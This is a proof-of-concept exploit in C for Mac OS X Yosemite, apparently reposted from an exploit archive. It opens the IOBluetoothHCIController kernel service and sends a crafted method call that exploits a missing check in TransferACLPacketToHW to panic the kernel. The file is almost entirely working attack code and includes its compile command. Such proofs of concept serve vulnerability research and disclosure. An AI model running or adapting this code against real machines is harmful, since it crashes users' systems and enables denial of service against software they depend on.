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OS X 10.10 Bluetooth TransferACLPacketToHW - Crash PoC
[/*
* crash-issue3.c: Written for Mac OS X Yosemite (10.10) by @rpaleari and @joystick.
*
* Exploits a missing check in
* IOBluetoothHCIController::TransferACLPacketToHW() to trigger a panic.
*
* gcc -Wall -o crash-issue3{,.c} -framework IOKit
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <IOKit/IOKitLib.h>
struct BluetoothCall {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};
int main(void) {
/* Finding vuln service */
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOBluetoothHCIController"));
if (!service) {
return -1;
}
/* Connect to vuln service */
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if (kr != kIOReturnSuccess) {
return kr;
}
printf(" [+] Opened connection to service on port: %d\n", port);
struct BluetoothCall a;
memset(&a, 0, sizeof(a));
a.sizes[0] = 0x1000;
a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char));
a.sizes[1] = 0x1000;
a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char));
memset((void *)a.args[1], 0x22, 0x1000);
/* Call DispatchHCISendRawACLData() */
a.index = 0x63;
/* Debug */
for(int i = 0; i < 120; i++) {
if(i % 8 == 0) printf("\n");
printf("\\x%02x", ((unsigned char *)&a)[i]);
}
printf("\n");
fflush(stdout);
kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) &a, /* inputStruct */
sizeof(a), /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */
printf("kr: %08x\n", kr);
return IOServiceClose(port);
}
# 0day.today [2024-11-15] #